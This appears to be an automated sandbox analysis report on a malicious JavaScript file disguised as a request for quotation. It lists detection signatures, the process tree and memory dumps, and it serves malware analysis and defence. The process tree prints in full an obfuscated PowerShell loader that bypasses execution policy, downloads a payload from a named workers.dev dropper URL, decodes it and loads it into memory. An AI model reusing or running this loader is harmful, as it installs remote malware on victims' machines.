Overview

overview

10

Static

static

1

RFQ – In...ent.js

windows10-2004-x64

10

RFQ – In...ent.js

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    298s
  • max time network
    113s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    26/08/2026, 14:50

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    RFQ – Industrial Printing & Paper Processing Equipment.js
  • Size 25.1MB
  • Sample260826-r7n85sysbx
  • SHA256 4bba2c96f57bc738356cac5642841a80b3c07cec3db96113ba6a40d89b630677
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
execution

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://lively-fog-af49.pablosoftwareplus.workers.dev/
  • exe.dropper

    https://lively-fog-af49.pablosoftwareplus.workers.dev/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\RFQ – Industrial Printing & Paper Processing Equipment.js"
    1⤵
      PID:3368
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $pretermitter = ''https://lively-fog-af49.pablosoftwareplus.workers.dev/''; Add-Type -AssemblyName System.Net.Http; $embolismus = New-Object System.Net.CookieContainer; $iambic = New-Object System.Net.Http.HttpClientHandler; $iambic.AllowAutoRedirect = $true; $iambic.CookieContainer = $embolismus; $restaged = New-Object System.Net.Http.HttpClient($iambic); $restaged.DefaultRequestHeaders.Add(''User-Agent'', ''Mozilla/5.0 (Windows NT 10.0; Win64; x64)''); try { $Nanterre = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Head, $pretermitter); $pyodermas = $restaged.SendAsync($Nanterre).GetAwaiter().GetResult(); $reprimand = $pyodermas.Content.Headers.ContentLength; if ($null -eq $reprimand) { $reprimand = 5000000; } $labichoreic = [Math]::Min($reprimand, 3000000); $zinged = [Math]::Max(0, $reprimand - $labichoreic); $overofficious = $reprimand - 1; $anthropotomy = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Get, $pretermitter); $anthropotomy.Headers.Range = New-Object System.Net.Http.Headers.RangeHeaderValue($zinged, $overofficious); $nevow = $restaged.SendAsync($anthropotomy).GetAwaiter().GetResult(); [byte[]]$spirants = $nevow.Content.ReadAsByteArrayAsync().GetAwaiter().GetResult(); $countersubject = [System.Text.Encoding]::ASCII.GetString($spirants); } catch { $Mesonet = (New-Object System.Net.WebClient).DownloadString($pretermitter); $countersubject = $Mesonet; } $slood=''IN-''; $flybane=''-in1''; $baselining = [string]::IndexOf($countersubject, $slood); $diswitted = $countersubject.LastIndexOf($flybane); if($baselining -eq -1 -or $diswitted -eq -1){return}; $implement = $baselining + $slood.Length; $undeceivably = $countersubject.Substring($countersubject.IndexOf($slood) + $slood.Length, $diswitted - ($countersubject.IndexOf($slood) + $slood.Length)); $urosternite = $undeceivably.Replace(''*'',''A'').ToCharArray(); $undichotomized = -join $urosternite[($urosternite.Length - 1)..0]; $overwork = ($undichotomized -match ''^[0-9a-fA-F]+$'') -and ($undichotomized.Length % 2 -eq 0); [byte[]]$pleon = $null; if ($overwork) { $pleon = for ($i = 0; $i -lt $undichotomized.Length; $i += 2) { [Convert]::ToByte($undichotomized.Substring($i, 2), 16) } } else { $ferae = [Type]::GetType((''System''+''.''+''Convert'') -join ''''); $pleon = $ferae.GetMethod((''From''+''Base64''+''String'') -join '''').Invoke($null, (,$undichotomized)); } $dermatographism = [AppDomain]::(''CurrentDomain''); $sublinear = $dermatographism.GetType().GetMethod(''Load'', [byte[]]); $nebulised = $sublinear.Invoke($dermatographism, (,$pleon)); $urachovesical = (''6Lm2qDVgU7ZTRhouQvsA00RWJevufT8t747lnWu542XVj/MDJlIDOWitZ+lyDcmSDXHqMUEmGE9NCzWElsyVjxoW9R3XNnl/9PxK9oxGd9Gn0IynFEuNPh0LdX4kRHEH'','''',''leheavtlLzcOcYjzd6G5rmEGyNwtGva5YheMOXAxYoTVmaZlGv4/ZymZXgMDVatN'',''C3Zjg90kHx1Tu1x/sD55UL2wTdRBY224kUkqCvnBaZA='',''w7+CQsDvSqVUeS9zyufK4uLjUicwS4rwPZzoUW44kVU='','''',''v4H5viIiuDLu/lzOsFzl/pk3y5tbECjE0I1RDXfGbuo='','''',''xb1kwfUq0+4hb9EJkS9aiYn3DKjYvfbhYXK1xWgJ1gM='',''nUbweDPayD0/xm3dkqWQdGvx5iyEK4kc8cXegZxRf/lQ5Aym8NR1K/wD64of+ai5'',''yqvighR7oHxNNB/9h99V3X0bCSSrrzBbz2j9aYCVVyk='',''ObjIT3uw06EI1REnwyYCG83VhDtNHfx6PwPvmHnCqBA='',''Swn7eS2JmA8+fh66X7lrzkE1JclhBofOaLCib9tj5eE='','''',''UApIz7v6ClgcwlCrP3jsElMLbyhD5JP0BTNBAk2BetM='',''2p7TFnAoEAI8djcVSyFUVmSIzbkJEltHoogH7CDdvAM='','''','''',''''); try { $splanchnoptosis = ($nebulised.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $polyclinic = ($splanchnoptosis.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $polyclinic.Invoke($null, [object[]]$urachovesical); } catch {} finally { if ($null -ne $restaged) { $restaged.Dispose() } }'))"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3432

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/3432-0-0x00007FF8C75DF000-0x00007FF8C75E0000-memory.dmp
          Download

          memory/3432-1-0x00007FF8C7450000-0x00007FF8C7DF4000-memory.dmp
          Download

          memory/3432-2-0x00007FF8C7450000-0x00007FF8C7DF4000-memory.dmp
          Download

          memory/3432-5-0x00000177AB400000-0x00000177AB422000-memory.dmp
          Download

          memory/3432-6-0x00007FF8C7450000-0x00007FF8C7DF4000-memory.dmp
          Download

          memory/3432-7-0x00007FF8C7450000-0x00007FF8C7DF4000-memory.dmp
          Download

          memory/3432-8-0x00007FF8C7450000-0x00007FF8C7DF4000-memory.dmp
          Download

          memory/3432-9-0x00007FF8C7450000-0x00007FF8C7DF4000-memory.dmp
          Download

          memory/3432-10-0x00007FF8C7450000-0x00007FF8C7DF4000-memory.dmp
          Download

          memory/3432-11-0x00007FF8C7450000-0x00007FF8C7DF4000-memory.dmp
          Download

          memory/3432-12-0x00007FF8C7450000-0x00007FF8C7DF4000-memory.dmp
          Download

          memory/3432-13-0x00007FF8C7450000-0x00007FF8C7DF4000-memory.dmp
          Download

          memory/3432-14-0x00007FF8C7450000-0x00007FF8C7DF4000-memory.dmp
          Download

          memory/3432-15-0x00007FF8C7450000-0x00007FF8C7DF4000-memory.dmp
          Download

          memory/3432-16-0x00007FF8C7450000-0x00007FF8C7DF4000-memory.dmp
          Download

          memory/3432-18-0x00007FF8C7450000-0x00007FF8C7DF4000-memory.dmp
          Download